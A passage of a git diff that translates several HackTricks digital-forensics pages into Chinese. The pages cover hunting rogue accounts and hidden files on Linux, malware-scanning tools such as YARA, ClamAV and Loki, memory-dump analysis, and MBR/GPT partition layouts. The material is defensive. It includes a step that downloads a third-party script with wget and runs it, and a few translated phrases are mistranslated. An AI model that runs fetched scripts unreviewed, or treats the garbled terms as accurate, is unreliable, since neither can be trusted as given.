+检查 _**/etc/passwd**_、_**/etc/shadow**_ 和 **安全日志**,寻找不寻常的名称或在已知未授权事件附近创建和使用的账户。同时,检查可能的 sudo 暴力攻击。\ +此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,查看是否有意外的权限授予给用户。\ +最后,查找 **没有密码** 或 **容易猜测** 的密码的账户。 -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## 检查文件系统 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +### 在恶意软件调查中分析文件系统结构 -## Review User Accounts and Logon Activities +在调查恶意软件事件时,文件系统的结构是一个重要的信息来源,揭示事件的顺序和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍这种分析,例如修改文件时间戳或避免使用文件系统进行数据存储。 -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +为了对抗这些反取证方法,至关重要的是: +- **进行彻底的时间线分析**,使用像 **Autopsy** 这样的工具可视化事件时间线,或使用 **Sleuth Kit** 的 `mactime` 获取详细的时间线数据。 +- **调查系统 $PATH 中的意外脚本**,这些脚本可能包括攻击者使用的 shell 或 PHP 脚本。 +- **检查 `/dev` 中的非典型文件**,因为它通常包含特殊文件,但可能包含与恶意软件相关的文件。 +- **搜索隐藏的文件或目录**,名称可能像 ".. "(点点空格)或 "..^G"(点点控制-G),这些可能隐藏恶意内容。 +- **识别 setuid root 文件**,使用命令:`find / -user root -perm -04000 -print` 这将找到具有提升权限的文件,可能被攻击者滥用。 +- **检查 inode 表中的删除时间戳**,以发现大规模文件删除,可能表明存在 rootkit 或木马。 +- **在识别到一个恶意文件后,检查连续的 inode**,因为它们可能被放置在一起。 +- **检查常见的二进制目录** (_/bin_、_/sbin_) 中最近修改的文件,因为这些可能被恶意软件更改。 ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> 请注意,**攻击者**可以**修改**时间以使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它在与同一文件夹中其他文件**相同的时间**被创建和修改,但**inode**却**意外地更大**,那么该**文件的时间戳被修改**了。 -## Compare files of different filesystem versions +## 比较不同文件系统版本的文件 -### Filesystem Version Comparison Summary +### 文件系统版本比较摘要 -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +要比较文件系统版本并确定更改,我们使用简化的`git diff`命令: +- **要查找新文件**,比较两个目录: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **对于修改过的内容**,列出更改,同时忽略特定行: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **检测已删除文件**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **过滤选项** (`--diff-filter`) 有助于缩小到特定的更改,如添加的 (`A`)、删除的 (`D`) 或修改的 (`M`) 文件。 +- `A`: 添加的文件 +- `C`: 复制的文件 +- `D`: 删除的文件 +- `M`: 修改的文件 +- `R`: 重命名的文件 +- `T`: 类型更改(例如,从文件到符号链接) +- `U`: 未合并的文件 +- `X`: 未知的文件 +- `B`: 损坏的文件 -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## 参考文献 - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **书籍:Linux系统的恶意软件取证实用指南:数字取证实用指南** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md index c7edd6650..426ebbb17 100644 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ b/src/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# 恶意软件分析 {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## 取证备忘单 [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## 在线服务 - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## 离线杀毒和检测工具 ### Yara -#### Install - +#### 安装 ```bash sudo apt-get install -y yara ``` +#### 准备规则 -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +使用此脚本从github下载并合并所有yara恶意软件规则: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +创建_**rules**_目录并执行它。这将创建一个名为_**malware_rules.yar**_的文件,其中包含所有恶意软件的yara规则。 ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### 扫描 ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: 检查恶意软件并创建规则 -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成 yara 规则。查看这些教程: [**第 1 部分**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**第 2 部分**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**第 3 部分**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### 安装 ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### 扫描 ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** 检测可疑的 **能力** 在可执行文件中:PE, ELF, .NET。因此,它会找到诸如 Att\&ck 策略或可疑能力,例如: -- check for OutputDebugString error -- run as a service -- create process +- 检查 OutputDebugString 错误 +- 作为服务运行 +- 创建进程 -Get it int he [**Github repo**](https://github.com/mandiant/capa). +在 [**Github repo**](https://github.com/mandiant/capa) 中获取它。 ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC 代表妥协指标。IOC 是一组 **条件,用于识别** 一些潜在的不需要的软件或确认的 **恶意软件**。蓝队使用这种定义来 **搜索这种恶意文件** 在他们的 **系统** 和 **网络** 中。\ +共享这些定义非常有用,因为当恶意软件在计算机中被识别并为该恶意软件创建 IOC 时,其他蓝队可以使用它更快地识别恶意软件。 -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +创建或修改 IOC 的工具是 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +您可以使用 [**Redline**](https://www.fireeye.com/services/freeware/redline.html) 等工具来 **搜索设备中的定义 IOC**。 ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) 是一个简单妥协指标的扫描器。\ +检测基于四种检测方法: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一个针对Linux的恶意软件扫描器,发布于GNU GPLv2许可证,旨在应对共享托管环境中的威胁。它使用来自网络边缘入侵检测系统的威胁数据,提取正在攻击中积极使用的恶意软件,并生成检测签名。此外,威胁数据还来自用户提交的LMD结账功能和恶意软件社区资源。 ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +像[**rkhunter**](http://rkhunter.sourceforge.net)这样的工具可以用来检查文件系统中可能存在的**rootkits**和恶意软件。 ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具,尝试使用不同的技术在可执行文件中查找混淆字符串。 ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper ](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件中的一些基本内容(二进制数据、熵、URLs 和 IPs,一些 yara 规则)。 ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) 是一个工具,可以获取 Windows 可执行文件的信息,例如导入、导出、头部,但也会检查病毒总数并找到潜在的 Att\&ck 技术。 ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具,用于检测文件是否被 **加密**,并找到 **打包器**。 ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI) 是一个 Python 脚本,使用多种 **统计方法** 检测文本/脚本文件中的 **混淆** 和 **加密** 内容。NeoPI 的预期目的是帮助 **检测隐藏的 web shell 代码**。 ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽力检测 **混淆**/**可疑代码** 以及使用 **PHP** 函数的文件,这些函数通常用于 **恶意软件**/webshells。 ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +在检查某些 **恶意软件样本** 时,您应该始终 **检查二进制文件的签名**,因为签名的 **开发者** 可能已经与 **恶意软件** **相关**。 ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## 检测技术 -## Detection Techniques +### 文件堆叠 -### File Stacking +如果你知道某个包含**文件**的文件夹**最后更新于某个日期**。**检查**所有**文件**在**web 服务器**中的**创建和修改日期**,如果有任何日期是**可疑的**,检查该文件。 -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### 基线 -### Baselines +如果一个文件夹的文件**不应该被修改**,你可以计算该文件夹**原始文件**的**哈希**值,并与**当前**文件进行**比较**。任何被修改的文件都将是**可疑的**。 -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### 统计分析 -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +当信息保存在日志中时,你可以**检查统计数据,比如每个web服务器的文件被访问的次数,因为web shell可能是其中之一**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 0d48e3bc2..39345acf8 100644 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# 内存转储分析 {{#include ../../../banners/hacktricks-training.md}} -
+## 开始 -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +开始**搜索**pcap中的**恶意软件**。使用在[**恶意软件分析**](../malware-analysis.md)中提到的**工具**。 ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility是内存转储分析的主要开源框架**。这个Python工具分析来自外部源或VMware虚拟机的转储,基于转储的操作系统配置文件识别数据,如进程和密码。它可以通过插件扩展,使其在取证调查中非常灵活。 -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[在这里找到备忘单](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## Mini dump crash report +## 小型转储崩溃报告 -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +当转储很小(只有几KB,也许几MB)时,它可能是小型转储崩溃报告,而不是内存转储。 ![](<../../../images/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +如果您安装了Visual Studio,可以打开此文件并绑定一些基本信息,如进程名称、架构、异常信息和正在执行的模块: ![](<../../../images/image (217).png>) -You can also load the exception and see the decompiled instructions +您还可以加载异常并查看反编译的指令 ![](<../../../images/image (219).png>) ![](<../../../images/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +无论如何,Visual Studio并不是执行转储深度分析的最佳工具。 -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +您应该使用**IDA**或**Radare**来**深入**检查它。 ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 02ab3ddf6..1e75e4446 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# 分区/文件系统/雕刻 {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## 分区 -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +硬盘或**SSD磁盘可以包含不同的分区**,目的是物理上分隔数据。\ +磁盘的**最小**单位是**扇区**(通常由512B组成)。因此,每个分区的大小需要是该大小的倍数。 -### MBR (master Boot Record) +### MBR(主引导记录) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +它分配在**引导代码后的第一个扇区的446B**。这个扇区对于指示PC应该从哪里挂载分区至关重要。\ +它最多允许**4个分区**(最多**只有1个**可以是活动的/**可引导的**)。但是,如果需要更多分区,可以使用**扩展分区**。这个第一个扇区的**最后一个字节**是引导记录签名**0x55AA**。只能标记一个分区为活动。\ +MBR允许**最大2.2TB**。 ![](<../../../images/image (489).png>) ![](<../../../images/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +从MBR的**440到443字节**可以找到**Windows磁盘签名**(如果使用Windows)。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会导致Windows无法启动(工具:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 ![](<../../../images/image (493).png>) -**Format** +**格式** -| Offset | Length | Item | +| 偏移 | 长度 | 项目 | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | 引导代码 | +| 446 (0x1BE) | 16 (0x10) | 第一个分区 | +| 462 (0x1CE) | 16 (0x10) | 第二个分区 | +| 478 (0x1DE) | 16 (0x10) | 第三个分区 | +| 494 (0x1EE) | 16 (0x10) | 第四个分区 | +| 510 (0x1FE) | 2 (0x2) | 签名 0x55 0xAA | -**Partition Record Format** +**分区记录格式** -| Offset | Length | Item | +| 偏移 | 长度 | 项目 | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) | +| 1 (0x01) | 1 (0x01) | 起始磁头 | +| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);气缸的高位(6-7) | +| 3 (0x03) | 1 (0x01) | 起始气缸最低8位 | +| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | 结束磁头 | +| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);气缸的高位(6-7) | +| 7 (0x07) | 1 (0x01) | 结束气缸最低8位 | +| 8 (0x08) | 4 (0x04) | 分区前的扇区(小端) | +| 12 (0x0C) | 4 (0x04) | 分区中的扇区 | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +为了在Linux中挂载MBR,您首先需要获取起始偏移量(可以使用`fdisk`和`p`命令) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +然后使用以下代码 ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (逻辑块寻址)** -**LBA (Logical block addressing)** +**逻辑块寻址** (**LBA**) 是一种常用的方案,用于**指定存储在计算机存储设备上的数据块的位置**,通常是硬盘驱动器等二级存储系统。LBA 是一种特别简单的线性寻址方案;**块通过整数索引定位**,第一个块为 LBA 0,第二个为 LBA 1,依此类推。 -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (GUID 分区表) -### GPT (GUID Partition Table) +GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强能力而受到青睐。GPT 在多个方面具有独特性: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **位置和大小**:GPT 和 MBR 都从**扇区 0** 开始。然而,GPT 采用**64位**,与 MBR 的 32位形成对比。 +- **分区限制**:GPT 在 Windows 系统上支持最多**128个分区**,并可容纳最多**9.4ZB**的数据。 +- **分区名称**:提供最多 36 个 Unicode 字符的分区命名能力。 -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**数据弹性和恢复**: -**Data Resilience and Recovery**: +- **冗余**:与 MBR 不同,GPT 不将分区和引导数据限制在一个地方。它在磁盘上复制这些数据,从而增强数据完整性和弹性。 +- **循环冗余检查 (CRC)**:GPT 使用 CRC 确保数据完整性。它主动监控数据损坏,并在检测到时,尝试从另一个磁盘位置恢复损坏的数据。 -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**保护性 MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT 通过保护性 MBR 维持向后兼容性。此功能位于传统 MBR 空间中,但旨在防止较旧的基于 MBR 的工具错误地覆盖 GPT 磁盘,从而保护 GPT 格式磁盘上的数据完整性。 ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**混合 MBR (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +在支持**通过 BIOS** 服务而非 EFI 的**基于 GPT 的引导**的操作系统中,第一个扇区仍然可以用于存储**引导加载程序**代码的第一阶段,但**经过修改**以识别**GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。 -**Partition table header (LBA 1)** +**分区表头 (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +分区表头定义了磁盘上可用的块。它还定义了构成分区表的分区条目的数量和大小(表中的偏移量 80 和 84)。 -| Offset | Length | Contents | +| 偏移量 | 长度 | 内容 | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of 